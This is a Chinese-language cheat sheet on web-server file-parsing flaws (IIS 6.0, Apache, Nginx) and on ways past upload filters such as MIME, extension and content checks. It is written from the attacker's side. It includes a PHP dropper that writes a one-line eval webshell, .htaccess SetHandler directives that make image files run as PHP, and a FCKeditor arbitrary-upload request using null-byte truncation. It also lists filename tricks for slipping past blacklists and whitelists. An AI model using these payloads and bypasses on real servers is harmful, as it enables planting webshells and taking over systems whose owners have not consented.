文件解析漏洞

  • 解析漏洞主要说的是一些特殊的文件被iis、apache、nginx在某种情况下解释成脚本文件格式的漏洞

IIS 5.x/6.0解析漏洞

  • IIS 6.0解析利用方法有两种
  • 1、目录解析
  • /xx.asp/xx.jpg
  • 在网站下建立文件夹名字为.asp、.asa的文件夹,其目录内的任何拓展名的文件都被IIS当做asp文件来解析并执行
  • 2、文件解析
  • Xx.asp;.jpg
  • 第二种,在IIS 6.0下,分号后面的不被解析,也就是说会被服务器看成是xx.asp
  • IIS 6.0默认的可执行文件除了asp还包含这三种
  • /xx.asa   /xx.cer   /xx.cdx

Apache解析漏洞

  • apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断
  • 比如xx.php.owf.rar  owf和rar这两种后缀是apache不可识别解析,apache就会把xx.php.owf.rar解析成xx.php
  • 如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个xx.php.rar.jpg.png…… 把你知道的常见后缀都写上去,去测试是否为合法后缀
  • 任意不识别的后缀,逐级向上识别

IIS 7.0/IIS 7.5/Nginx <8.03畸形解析漏洞

  • nginx解析漏洞由80sec发现
  • 在默认Fast-CGI开启状况下,上传一个名字为xx.jpg,内容为
  • <?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
  • 的文件,然后访问xx.jpg/.php,在这个目录下就会生成一句话木马shell.php
  • www.xxx.com/logo.gif/*.php 触发漏洞 有漏洞会把前面文件当做php执行
  • 截断漏洞 x.asp00%.jpg
  • 第二种解析漏洞 a.aspx.a;.a.aspx.jpg..jpg

Nginx <8.03 空字节代码执行漏洞

  • 影响版:0.5./0.6./0.7<=0.7.65/0.8<=0.8.37\
  • Nginx在图片中嵌入php代码然后通过访问xxx.php%00.jpg来执行代码

htaccess文件解析

  • 如果在apache中.htaccess可被执行,且可被上传,那可以尝试在.htaccess中写入
  • <FilesMatch "shell.jpg">SetHandler application/x-https-php</FilesMatch>
  • 然后再上传shell.jpg的木马,这样shell就可解析成为php文件

上传检测流程概述

  • 通常一个文件以http协议进行上传时,将以post请求发送至web服务器。web服务器接收到请求后并同意后,用户与web服务器将建立连接,并传输data。
  • 对发送的数据通常进行检测,一种是js本地检测,还有一种是服务器端远程检测

服务器命名规则

  • 第一种类型:上传文件名和服务器命名一致
  • 第二种类型:上传文件名和服务器命名不一致(随机,日期时间命名等)
  • 上传一个文件a.asp,第一种文件名无变动,第二种可能为20xx-xx-xx.asp

常见的上传检测方式

  • 客户端javascript检测(通常是为检测文件拓展名)
  • 服务端mime类型检测(检测content-type内容)
  • 服务端目录路径检测(检测跟path参数相关的内容)
  • 服务端文件拓展名检测(检测跟文件extension相关的内容)
  • 服务端文件内容检测(检测内容是否合法或含有恶意代码)

客户端检测绕过(JavaScript检测)

  • 首先判断js本地验证
  • 通常可以根据它的验证警告弹框的速度可以判断,如果你电脑运行比较快,那么我们就可以用bp抓包,再点击提交的时候bp没有抓到包,就已经弹框那么说明这个就是本地js验证
  • 绕过办法:
  • 1、使用bp抓包改名
  • 2、使用firebug直接删除掉本地验证的js代码
  • 3、添加js验证的白名单如将php的格式添加进去

服务端检测绕过(mime类型检测)

  • mime的作用,使客户端软件,区分不同种类的数据,例如web浏览器就是通过mime类型来判断文件是gif图片,还是可打印的postscript文件。
  • web服务器使用mime来说明发送数据的种类,web客户端使用mime来说明希望接收到的数据种类
  • tomcat的安装目录\conf\web.xml 中就定义了大量mime类型,也可以看一下
  • 绕过方法:
  • 直接使用burp抓包,得到post上传数据后,将content-type: text/plain改成 image/gif就可以成功绕过

服务端检测绕过(目录路径检测)

  • 目录路径检测,一般就检测路径是否合法,但稍微特殊一点的都没有防御。比如比较新的 fckeditor php <= 2.6.4 任意文件上传漏洞
  • 当post下面的url的时候
  • /fckeditor264/filemanager/connectors/php/connector.php?Command=FileUpload&Type=Image&CurrentFolder=fuck.php%00.gif HTTP/1.0
  • CurrentFolder 这个变量的值会传到ServerMapFolder($resourceType,$folderPath,$sCommand)中的形参$folder里,而$folder在这个函数中并没做任何检测,就被CombinePaths()了

服务端检测绕过(文件拓展名检测)

  • 黑名单检测
  • 黑名单的安全性比白名单的安全性低很多,攻击手法自然也比白名单多。一般有个专门的blacklist文件,里面会包含常见的危险脚本文件,例如fckeditor 2.4.3 或之前版本的黑名单
  • 白名单检测
  • 白名单相对来说比黑名单安全一些,但也不见得就绝对安全
  • 绕过黑名单:
  • 1、文件名大小写绕过
  • 2、名单列表绕过。用黑名单里没有的名单进行攻击,比如黑名单里没有asa或cer之类
  • 3、特殊文件名绕过。比如发送的http包里把文件名改成test.asp. 或者 test.asp_(下划线为空格),这种命名方式在windows系统里是不被允许的,所以需要在burp之类里进行修改,然后绕过验证后,会被windows系统自动去掉后面的点和空格,但要注意Unix/Linux系统没有这个特性
  • 4、0x00截断绕过。上传文件为xx.php%00.jpg 其中%00在repeater中用ctrl+shift+t
  • 5、.htaccess 文件攻击。配合名单列表绕过,上传一个自定义的.htaccess,就可以轻松绕过检测
  • 6、解析调用/漏洞绕过。这类漏洞直接配合上传一个代码注入过的非黑名单文件即可,再利用解析调用/漏洞
  • 绕过白名单:
  • 1、0x00截断绕过
  • 用像test.asp%00.jpg的方式进行截断,属于白名单文件,再利用服务端代码的检测逻辑漏洞进行攻击,目前asp漏洞较多
  • 2、解析调用/漏洞绕过
  • 这类漏洞直接配合上传一个代码注入过的白名单文件即可,再利用解析调用/漏洞.htaccess文件攻击
  • 通过一个.htaccess文件调用php的解析器去解析一个文件名中只要包含"haha"这个字符串的任意文件,所以无论文件名是什么样子,只要包含"haha"这个字符串,都可以被以php的方式来解析,一个自定义的.htaccess文件就可以以各种各样的方式去绕过很多上传验证机制
  • 例如新建一个.htaccess文件,里面内容如下
  • <FileMatch "haha">SetHandler application/x-httpd-php</FileMatch>
  • 同目录有个我们上传一个只有文件名并包含字符串"haha",但是却无任何扩展名的文件里面的内容是php一句话木马

双文件上传 检测了第一个文件,没有检测第二个

服务端检测绕过(文件内容检测)

  • 如果文件内容检测设置比较严格,那么上传攻击将变得非常困难。也可以说是它在代码层检测的最后一道关卡。如果它被突破了,就算没有代码层的漏洞,也给后面利用应用层的解析漏洞带来了机会。

绕过文件头

  • 修改文件头特征即可

文件加载检测

  • 最变态的检测,一般调用api或函数去进行文件加载测试,最常见的是图像渲染测试,再变态点就是二次渲染。对渲染/加载测试的攻击方式是代码注入绕过,对二次渲染的攻击方式是攻击文件加载其自身。
  • 对渲染/加载测试攻击-代码注入绕过。可以用图像处理软件对一张图片进行代码注入,用winhex看数据可以分析出这类工具的原理是在不破坏文件本身的渲染情况下找一个空白区进行填充代码,一般会是图片的注释区,对于渲染测试基本上都能绕过,毕竟本身的文件结构是完整的。

绕过二次渲染

  • 攻击函数本身
  • 通过上传不完整的图片让其渲染函数暴露,然后攻击
  • 第二种方法:对文件加载器进行溢出攻击

Melancholy.